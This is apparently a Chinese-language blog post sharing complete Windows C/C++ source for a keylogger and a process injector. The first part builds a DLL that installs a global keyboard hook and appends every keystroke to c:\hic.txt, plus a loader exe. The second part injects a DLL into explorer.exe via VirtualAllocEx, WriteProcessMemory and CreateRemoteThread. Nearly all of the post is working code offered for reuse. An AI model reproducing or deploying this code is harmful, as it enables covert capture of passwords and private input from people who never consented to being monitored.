这里把很早前的一些文章陆续汇总下，以后研究方向会专注，本来就是菜鸟，总这一竿子那一竿子，最后一场空，以后主要是嵌入式，PC要放一放了.....
预备知识：键盘记录功能需要用到全局键盘钩子（有局部钩子和全局钩子之分），而全局键盘钩子需要一个单独的dll文件，因为这个dll文件会被注入到任意获得键盘消息的进程中（个别系统进程无法注入），向操作系统注册钩子后，再在回调函数中处理对应的键盘事件就OK....
另外，虽然dll也属可执行文件，但它需要带头大哥的指引才能启动(exe文件)，因此，还需要一个起动机，也就是一个exe文件来帮助启动...
(DEV-CPP编译通过)先看一下效果：
这里贴两段程序，第一段是全局键盘钩子例程，第二段是一个比较完整的注入例程
1、全局键盘钩子例程：
dll.h ：
#ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else /* Not BUILDING_DLL */
# define DLLIMPORT __declspec (dllimport)
#endif /* Not BUILDING_DLL */
#include <windows.h>
DLLIMPORT void HelloWorld (void);
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);
BOOL __declspec(dllexport) installhook();
BOOL __declspec(dllexport) UnHook();
#endif /* _DLL_H_ */
dll.cpp ：
#include "dll.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma data_seg(".SHARDAT") //共享段
static HHOOK hkb = NULL;
//HWND hLastWnd = NULL;
FILE *fp = NULL;
#pragma data_seg()
#pragma comment (linker,"/SECTION:.SHARDAT,RWS")
HINSTANCE hinst = NULL;
DLLIMPORT void HelloWorld ()
{
MessageBox (0, "Hello World from DLL!\n", "Hi", MB_ICONINFORMATION);
}
// DLL入口
BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ ,
DWORD reason /* Reason this function is being called. */ ,
LPVOID reserved /* Not used. */ )
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
hinst = hInst;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
/* Returns TRUE on success, FALSE on failure */
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) //回调函数，自己DIY吧...
{
/*
if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))
{
switch(wParam)
{
case VK_F1:
MessageBox(NULL,"F1","F1",MB_OK); break;
case 'A':
MessageBox(NULL,"A","A",MB_OK);
}
}
*/
/*
HWND hWnd = GetActiveWindow();
if (hWnd != hLastWnd)
{
char szTemp[256] = {0};
GetWindowText(hWnd,szTemp,sizeof(szTemp));
fprintf(fp,"\r\n--- [%s] ---\r\n",szTemp);
hLastWnd = hWnd;
}
BYTE szKeyState[256] = {0};
GetKeyboardState(szKeyState);
int nScan = lParam >> 16;
WORD szKey = 0;
int len = ToAscii(wParam,nScan,szKeyState,&szKey,0);
if (len > 0)
{
//fprintf(fp,"[%c]",char(szKey));
}
*/
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) //捕获按键按下
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
fp=fopen("c:\\hic.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,fp);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = (char)(w);
fwrite(&ch,1,1,fp);
}
fclose(fp);
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}
BOOL __declspec(dllexport)__stdcall installhook()
{
fp=fopen("c:\\hic.txt","w");
fclose(fp);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0); //键盘钩子
return TRUE;
}
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}
至于exe启动机的代码要简单多了：
#include "dll.h"
#include <iostream>
#include <windows.h>
using namespace std;
typedef bool (*Fun)();
HMODULE g_hHook = 0;
Fun setHook = NULL;
int main(int argc, char *argv[])
{
//InstallHook();
g_hHook = LoadLibrary("Inject.dll");
setHook = (Fun)GetProcAddress(g_hHook,"installhook");
setHook();
system("pause");
return 0;
}
.
2、完整进程注入例程：
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <io.h>
#define INJECT_PROCESS_NAME "explorer.exe" //"iexplore.exe"
// 根据进程名获取进程PID值
long GetProcessID(char *pProcessName)
{
/* 定义变量 */
BOOL bRet;
HANDLE hProcessSnap;
unsigned long ProcessID = -1;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
// 所有进程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot failed. error:%d.\n", GetLastError());
return -1;
}
// 遍历进程快照，轮流显示每个进程的信息
bRet = Process32First(hProcessSnap, &pe);
while(bRet)
{
// pe.szExeFile保存的值为进程对应的可执行文件名
if(strcmp(pe.szExeFile, pProcessName) == 0)
{
ProcessID = pe.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe);
}
// 清除掉进程快照对象
CloseHandle(hProcessSnap);
return ProcessID;
}
BOOL InjectDLL()
{
long pid = 0;
int ret = 0;
char szDllPath[MAX_PATH] = {0};
// 获取DLL全路径，这里为/windows/system32/InjectDLL.dll
// 同时判断有无访问权限
ret = GetSystemDirectory(szDllPath, MAX_PATH);
if(szDllPath[ret - 1] != '\\')
strcat(szDllPath, "\\");
strcat(szDllPath, "InjectDLL.dll");
if(_access(szDllPath, 0) == -1)
{
printf("Access %s Failed.\n", szDllPath);
return -1;
}
printf("Inject DLL' Path: %s .\n", szDllPath);
// 获取要注入进程的PID
pid = GetProcessID(INJECT_PROCESS_NAME);
if(pid == -1)
{
printf("Get Inject ProcessID Failed.\n");
return FALSE;
}
printf("Inject PID:[%d] .\n", pid);
HANDLE hProcess = NULL;
HANDLE hRemoteThread = NULL;
void *pLibRemote = NULL;
DWORD hLibModule = 0;
HMODULE hKernel32 = NULL;
hKernel32 = GetModuleHandle("Kernel32");
if(hKernel32 == NULL)
{
printf("Get Kernel32 Handle Failed.\n");
return FALSE;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
if(hProcess == NULL)
{
printf("Open Inject Process Failed.\n");
return FALSE;
}
// 1. Allocate memory in the remote process for szDllPath
// 2. Write szDllPath to the allocated memory
pLibRemote = VirtualAllocEx(hProcess,
NULL,
sizeof(szDllPath),
MEM_COMMIT,
PAGE_READWRITE);
ret = WriteProcessMemory(hProcess,
pLibRemote,
(void *) szDllPath,
sizeof(szDllPath),
NULL);
if(ret == 0)
{
printf("Write Remote Process Memory Failed.\n");
return FALSE;
}
// Load "LibSpy.dll" into the remote process
// (via CreateRemoteThread & LoadLibrary)
hRemoteThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)
GetProcAddress(hKernel32, "LoadLibraryA"),
pLibRemote,
0,
NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
// Get handle of the loaded module
GetExitCodeThread(hRemoteThread, &hLibModule);
// Clean up
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, pLibRemote, sizeof(szDllPath), MEM_RELEASE);
// 关闭远程进程句柄
CloseHandle(hProcess);
printf("Inject Finished.\n");
return TRUE;
}
int main(int argc, char *argv[])
{
InjectDLL();
system("pause");
return 0;
}